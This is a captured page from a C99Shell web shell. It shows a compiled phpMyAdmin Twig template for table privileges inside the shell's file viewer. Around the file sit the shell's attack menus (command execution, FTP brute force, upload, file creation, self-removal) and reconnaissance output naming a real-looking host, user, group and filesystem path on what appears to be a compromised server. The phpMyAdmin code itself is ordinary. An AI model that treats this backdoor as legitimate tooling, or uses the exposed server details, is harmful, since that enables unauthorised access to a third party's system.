!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/tmp/twig/35/   drwxr-xr-x
Free 28.38 GB of 117.98 GB (24.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     35db723442839c22f216f0c787713271.php (20.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use Twig\Environment;
use 
Twig\Error\LoaderError;
use 
Twig\Error\RuntimeError;
use 
Twig\Extension\SandboxExtension;
use 
Twig\Markup;
use 
Twig\Sandbox\SecurityError;
use 
Twig\Sandbox\SecurityNotAllowedTagError;
use 
Twig\Sandbox\SecurityNotAllowedFilterError;
use 
Twig\Sandbox\SecurityNotAllowedFunctionError;
use 
Twig\Source;
use 
Twig\Template;

/* table/privileges/index.twig */
class __TwigTemplate_b3c3a49e91ab6dbb3bb5bd94d95c8f36 extends Template
{
    private 
$source;
    private 
$macros = [];

    public function 
__construct(Environment $env)
    {
        
parent::__construct($env);

        
$this->source $this->getSourceContext();

        
$this->parent false;

        
$this->blocks = [
        ];
    }

    protected function 
doDisplay(array $context, array $blocks = [])
    {
        
$macros $this->macros;
        
// line 1
        
if (($context["is_superuser"] ?? null)) {
            
// line 2
            
echo "  <form id=\"usersForm\" action=\"";
            echo 
PhpMyAdmin\Url::getFromRoute("/server/privileges");
            echo 
"\">
    "
;
            
// line 3
            
echo PhpMyAdmin\Url::getHiddenInputs(($context["db"] ?? null), ($context["table"] ?? null));
            echo 
"

    <fieldset class=\"pma-fieldset\">
      <legend>
        "
;
            
// line 7
            
echo PhpMyAdmin\Html\Generator::getIcon("b_usrcheck");
            echo 
"
        "
;
            
// line 8
            
echo twig_sprintf(_gettext("Users having access to \"%s\""), ((((((("<a href=\"" . ($context["table_url"] ?? null)) . PhpMyAdmin\Url::getCommon(["db" =>             // line 9
($context["db"] ?? null), "table" =>             // line 10
($context["table"] ?? null)], "&")) . "\">") . twig_escape_filter($this->env,             // line 11
($context["db"] ?? null), "html")) . ".") . twig_escape_filter($this->env, ($context["table"] ?? null), "html")) . "</a>"));
            echo 
"
      </legend>

      <div class=\"table-responsive-md jsresponsive\">
        <table class=\"table table-striped table-hover w-auto\">
          <thead>
            <tr>
              <th></th>
              <th>"
;
echo 
_gettext("User name");
            
// line 19
            
echo "</th>
              <th>"
;
echo 
_gettext("Host name");
            
// line 20
            
echo "</th>
              <th>"
;
echo 
_gettext("Type");
            
// line 21
            
echo "</th>
              <th>"
;
echo 
_gettext("Privileges");
            
// line 22
            
echo "</th>
              <th>"
;
echo 
_gettext("Grant");
            
// line 23
            
echo "</th>
              <th colspan=\"2\">"
;
echo 
_gettext("Action");
            
// line 24
            
echo "</th>
            </tr>
          </thead>

          <tbody>
            "
;
            
// line 29
            
$context['_parent'] = $context;
            
$context['_seq'] = twig_ensure_traversable(($context["privileges"] ?? null));
            
$context['_iterated'] = false;
            
$context['loop'] = [
              
'parent' => $context['_parent'],
              
'index0' => 0,
              
'index'  => 1,
              
'first'  => true,
            ];
            if (
is_array($context['_seq']) || (is_object($context['_seq']) && $context['_seq'] instanceof \Countable)) {
                
$length count($context['_seq']);
                
$context['loop']['revindex0'] = $length 1;
                
$context['loop']['revindex'] = $length;
                
$context['loop']['length'] = $length;
                
$context['loop']['last'] = === $length;
            }
            foreach (
$context['_seq'] as $context["_key"] => $context["privilege"]) {
                
// line 30
                
echo "              ";
                
$context["privileges_amount"] = twig_length_filter($this->envtwig_get_attribute($this->env$this->source$context["privilege"], "privileges", [], "any"falsefalsefalse30));
                
// line 31
                
echo "              <tr>
                <td"
;
                
// line 32
                
if ((($context["privileges_amount"] ?? null) > 1)) {
                    echo 
" class=\"align-middle\" rowspan=\"";
                    echo 
twig_escape_filter($this->env, ($context["privileges_amount"] ?? null), "html"nulltrue);
                    echo 
"\"";
                }
                echo 
">
                  <input type=\"checkbox\" class=\"checkall\" name=\"selected_usr[]\" id=\"checkbox_sel_users_"
;
                
// line 33
                
echo twig_escape_filter($this->envtwig_get_attribute($this->env$this->source$context["loop"], "index0", [], "any"falsefalsefalse33), "html"nulltrue);
                echo 
"\" value=\"";
                
// line 34
                
echo twig_escape_filter($this->env, ((twig_get_attribute($this->env$this->source$context["privilege"], "user", [], "any"falsefalsefalse34) . "&amp;#27;") . twig_get_attribute($this->env$this->source$context["privilege"], "host", [], "any"falsefalsefalse34)), "html"nulltrue);
                echo 
"\">
                </td>
                <td"
;
                
// line 36
                
if ((($context["privileges_amount"] ?? null) > 1)) {
                    echo 
" class=\"align-middle\" rowspan=\"";
                    echo 
twig_escape_filter($this->env, ($context["privileges_amount"] ?? null), "html"nulltrue);
                    echo 
"\"";
                }
                echo 
">
                  "
;
                
// line 37
                
if (twig_test_empty(twig_get_attribute($this->env$this->source$context["privilege"], "user", [], "any"falsefalsefalse37))) {
                    
// line 38
                    
echo "                    <span class=\"text-danger\">";
echo 
_gettext("Any");
                    echo 
"</span>
                  "
;
                } else {
                    
// line 40
                    
echo "                    ";
                    echo 
twig_escape_filter($this->envtwig_get_attribute($this->env$this->source$context["privilege"], "user", [], "any"falsefalsefalse40), "html"nulltrue);
                    echo 
"
                  "
;
                }
                
// line 42
                
echo "                </td>
                <td"
;
                
// line 43
                
if ((($context["privileges_amount"] ?? null) > 1)) {
                    echo 
" class=\"align-middle\" rowspan=\"";
                    echo 
twig_escape_filter($this->env, ($context["privileges_amount"] ?? null), "html"nulltrue);
                    echo 
"\"";
                }
                echo 
">
                  "
;
                
// line 44
                
echo twig_escape_filter($this->envtwig_get_attribute($this->env$this->source$context["privilege"], "host", [], "any"falsefalsefalse44), "html"nulltrue);
                echo 
"
                </td>
                "
;
                
// line 46
                
$context['_parent'] = $context;
                
$context['_seq'] = twig_ensure_traversable(twig_get_attribute($this->env$this->source$context["privilege"], "privileges", [], "any"falsefalsefalse46));
                foreach (
$context['_seq'] as $context["_key"] => $context["priv"]) {
                    
// line 47
                    
echo "                  <td>
                    "
;
                    
// line 48
                    
if ((twig_get_attribute($this->env$this->source$context["priv"], "type", [], "any"falsefalsefalse48) == "g")) {
                        
// line 49
                        
echo "                      ";
echo 
_gettext("global");
                        
// line 50
                        
echo "                    ";
                    } elseif ((
twig_get_attribute($this->env$this->source$context["priv"], "type", [], "any"falsefalsefalse50) == "d")) {
                        
// line 51
                        
echo "                      ";
                        if ((
twig_get_attribute($this->env$this->source$context["priv"], "database", [], "any"falsefalsefalse51) == twig_replace_filter(($context["db"] ?? null), ["_" => "\\_""%" => "\\%"]))) {
                            
// line 52
                            
echo "                        ";
echo 
_gettext("database-specific");
                            
// line 53
                            
echo "                      ";
                        } else {
                            
// line 54
                            
echo "                        ";
echo 
_gettext("wildcard");
                            echo 
": <code>";
                            echo 
twig_escape_filter($this->envtwig_get_attribute($this->env$this->source$context["priv"], "database", [], "any"falsefalsefalse54), "html"nulltrue);
                            echo 
"</code>
                      "
;
                        }
                        
// line 56
                        
echo "                    ";
                    } elseif ((
twig_get_attribute($this->env$this->source$context["priv"], "type", [], "any"falsefalsefalse56) == "t")) {
                        
// line 57
                        
echo "                      ";
echo 
_gettext("table-specific");
                        
// line 58
                        
echo "                    ";
                    } elseif ((
twig_get_attribute($this->env$this->source$context["priv"], "type", [], "any"falsefalsefalse58) == "r")) {
                        
// line 59
                        
echo "                      ";
echo 
_gettext("routine");
                        
// line 60
                        
echo "                    ";
                    }
                    
// line 61
                    
echo "                  </td>
                  <td>
                    <code>
                      "
;
                    
// line 64
                    
if ((twig_get_attribute($this->env$this->source$context["priv"], "type", [], "any"falsefalsefalse64) == "r")) {
                        
// line 65
                        
echo "                        ";
                        echo 
twig_escape_filter($this->envtwig_get_attribute($this->env$this->source$context["priv"], "routine", [], "any"falsefalsefalse65), "html"nulltrue);
                        echo 
"
                        ("
;
                        
// line 66
                        
echo twig_escape_filter($this->envtwig_upper_filter($this->envtwig_join_filter(twig_get_attribute($this->env$this->source$context["priv"], "privileges", [], "any"falsefalsefalse66), ", ")), "html"nulltrue);
                        echo 
")
                      "
;
                    } else {
                        
// line 68
                        
echo "                        ";
                        echo 
twig_join_filter(twig_get_attribute($this->env$this->source$context["priv"], "privileges", [], "any"falsefalsefalse68), ", ");
                        echo 
"
                      "
;
                    }
                    
// line 70
                    
echo "                    </code>
                  </td>
                  <td>
                    "
;
                    
// line 73
                    
echo twig_escape_filter($this->env, ((twig_get_attribute($this->env$this->source$context["priv"], "has_grant", [], "any"falsefalsefalse73)) ? (_gettext("Yes")) : (_gettext("No"))), "html"nulltrue);
                    echo 
"
                  </td>
                  <td>
                    "
;
                    
// line 76
                    
if (($context["is_grantuser"] ?? null)) {
                        
// line 77
                        
echo "                      <a class=\"edit_user_anchor\" href=\"";
                        echo 
PhpMyAdmin\Url::getFromRoute("/server/privileges", ["username" => twig_get_attribute($this->env$this->source,                         // line 78
$context["privilege"], "user", [], "any"falsefalsefalse78), "hostname" => twig_get_attribute($this->env$this->source,                         // line 79
$context["privilege"], "host", [], "any"falsefalsefalse79), "dbname" => (((twig_get_attribute($this->env$this->source,                         // line 80
$context["priv"], "database", [], "any"falsefalsefalse80) != "*")) ? (twig_get_attribute($this->env$this->source$context["priv"], "database", [], "any"falsefalsefalse80)) : ("")), "tablename" => (((twig_get_attribute($this->env$this->source,                         // line 81
$context["priv"], "table", [], "any"truetruefalse81) && (twig_get_attribute($this->env$this->source$context["priv"], "table", [], "any"falsefalsefalse81) != "*"))) ? (twig_get_attribute($this->env$this->source$context["priv"], "table", [], "any"falsefalsefalse81)) : ("")), "routinename" => (((twig_get_attribute($this->env$this->source,                         // line 82
$context["priv"], "routine", [], "any"truetruefalse82) &&  !(null === twig_get_attribute($this->env$this->source$context["priv"], "routine", [], "any"falsefalsefalse82)))) ? (twig_get_attribute($this->env$this->source$context["priv"], "routine", [], "any"falsefalsefalse82)) : (""))]);
                        
// line 83
                        
echo "\">
                        "
;
                        
// line 84
                        
echo PhpMyAdmin\Html\Generator::getIcon("b_usredit"_gettext("Edit privileges"));
                        echo 
"
                      </a>
                    "
;
                    }
                    
// line 87
                    
echo "                  </td>
                  <td class=\"text-center\">
                    <a class=\"export_user_anchor ajax\" href=\""
;
                    
// line 89
                    
echo PhpMyAdmin\Url::getFromRoute("/server/privileges", ["username" => twig_get_attribute($this->env$this->source,                     // line 90
$context["privilege"], "user", [], "any"falsefalsefalse90), "hostname" => twig_get_attribute($this->env$this->source,                     // line 91
$context["privilege"], "host", [], "any"falsefalsefalse91), "export" => true"initial" => ""]);
                    
// line 94
                    
echo "\">
                      "
;
                    
// line 95
                    
echo PhpMyAdmin\Html\Generator::getIcon("b_tblexport"_gettext("Export"));
                    echo 
"
                    </a>
                  </td>
                </tr>
                  "
;
                    
// line 99
                    
if ((($context["privileges_amount"] ?? null) > 1)) {
                        
// line 100
                        
echo "                    <tr class=\"noclick\">
                  "
;
                    }
                    
// line 102
                    
echo "                ";
                }
                
$_parent $context['_parent'];
                unset(
$context['_seq'], $context['_iterated'], $context['_key'], $context['priv'], $context['_parent'], $context['loop']);
                
$context array_intersect_key($context$_parent) + $_parent;
                
// line 103
                
echo "            ";
                
$context['_iterated'] = true;
                ++
$context['loop']['index0'];
                ++
$context['loop']['index'];
                
$context['loop']['first'] = false;
                if (isset(
$context['loop']['length'])) {
                    --
$context['loop']['revindex0'];
                    --
$context['loop']['revindex'];
                    
$context['loop']['last'] = === $context['loop']['revindex0'];
                }
            }
            if (!
$context['_iterated']) {
                
// line 104
                
echo "              <tr>
                <td colspan=\"7\">
                  "
;
echo 
_gettext("No user found.");
                
// line 107
                
echo "                </td>
              </tr>
            "
;
            }
            
$_parent $context['_parent'];
            unset(
$context['_seq'], $context['_iterated'], $context['_key'], $context['privilege'], $context['_parent'], $context['loop']);
            
$context array_intersect_key($context$_parent) + $_parent;
            
// line 110
            
echo "          </tbody>
        </table>
      </div>

      <div class=\"float-start\">
        <img class=\"selectallarrow\" src=\""
;
            
// line 115
            
echo twig_escape_filter($this->env$this->extensions['PhpMyAdmin\Twig\AssetExtension']->getImagePath((("arrow_" . ($context["text_dir"] ?? null)) . ".png")), "html"nulltrue);
            echo 
"\" alt=\"";
echo 
_gettext("With selected:");
            
// line 116
            
echo "\" width=\"38\" height=\"22\">
        <input type=\"checkbox\" id=\"usersForm_checkall\" class=\"checkall_box\" title=\""
;
echo 
_gettext("Check all");
            
// line 117
            
echo "\">
        <label for=\"usersForm_checkall\">"
;
echo 
_gettext("Check all");
            
// line 118
            
echo "</label>
        <em class=\"with-selected\">"
;
echo 
_gettext("With selected:");
            
// line 119
            
echo "</em>
        <button class=\"btn btn-link mult_submit\" type=\"submit\" name=\"submit_mult\" value=\"export\" title=\""
;
echo 
_gettext("Export");
            
// line 120
            
echo "\">
          "
;
            
// line 121
            
echo PhpMyAdmin\Html\Generator::getIcon("b_tblexport"_gettext("Export"));
            echo 
"
        </button>
      </div>
    </fieldset>
  </form>
"
;
        } else {
            
// line 127
            
echo "  ";
            echo 
$this->env->getFilter('error')->getCallable()(_gettext("Not enough privilege to view users."));
            echo 
"
"
;
        }
        
// line 129
        
echo "
"
;
        
// line 130
        
if (($context["is_createuser"] ?? null)) {
            
// line 131
            
echo "  <div class=\"row\">
    <div class=\"col-12\">
      <fieldset class=\"pma-fieldset\" id=\"fieldset_add_user\">
        <legend>"
;
echo 
_pgettext("Create new user""New");
            
// line 134
            
echo "</legend>
        <a id=\"add_user_anchor\" href=\""
;
            
// line 135
            
echo PhpMyAdmin\Url::getFromRoute("/server/privileges", ["adduser" => true"dbname" =>             // line 137
($context["db"] ?? null), "tablename" =>             // line 138
($context["table"] ?? null)]);
            
// line 139
            
echo "\" rel=\"";
            echo 
PhpMyAdmin\Url::getCommon(["checkprivsdb" => ($context["db"] ?? null), "checkprivstable" => ($context["table"] ?? null)]);
            echo 
"\">
          "
;
            
// line 140
            
echo PhpMyAdmin\Html\Generator::getIcon("b_usradd"_gettext("Add user account"));
            echo 
"
        </a>
      </fieldset>
    </div>
  </div>
"
;
        }
    }

    public function 
getTemplateName()
    {
        return 
"table/privileges/index.twig";
    }

    public function 
isTraitable()
    {
        return 
false;
    }

    public function 
getDebugInfo()
    {
        return array (  
399 => 140,  394 => 139,  392 => 138,  391 => 137,  390 => 135,  387 => 134,  381 => 131,  379 => 130,  376 => 129,  370 => 127,  361 => 121,  358 => 120,  354 => 119,  350 => 118,  346 => 117,  342 => 116,  338 => 115,  331 => 110,  323 => 107,  318 => 104,  305 => 103,  299 => 102,  295 => 100,  293 => 99,  286 => 95,  283 => 94,  281 => 91,  280 => 90,  279 => 89,  275 => 87,  269 => 84,  266 => 83,  264 => 82,  263 => 81,  262 => 80,  261 => 79,  260 => 78,  258 => 77,  256 => 76,  250 => 73,  245 => 70,  239 => 68,  234 => 66,  229 => 65,  227 => 64,  222 => 61,  219 => 60,  216 => 59,  213 => 58,  210 => 57,  207 => 56,  199 => 54,  196 => 53,  193 => 52,  190 => 51,  187 => 50,  184 => 49,  182 => 48,  179 => 47,  175 => 46,  170 => 44,  162 => 43,  159 => 42,  153 => 40,  147 => 38,  145 => 37,  137 => 36,  132 => 34,  129 => 33,  121 => 32,  118 => 31,  115 => 30,  97 => 29,  90 => 24,  86 => 23,  82 => 22,  78 => 21,  74 => 20,  70 => 19,  58 => 11,  57 => 10,  56 => 9,  55 => 8,  51 => 7,  44 => 3,  39 => 2,  37 => 1,);
    }

    public function 
getSourceContext()
    {
        return new 
Source("""table/privileges/index.twig""/home/picotech/public_html/phpmyadmin/templates/table/privileges/index.twig");
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0073 ]--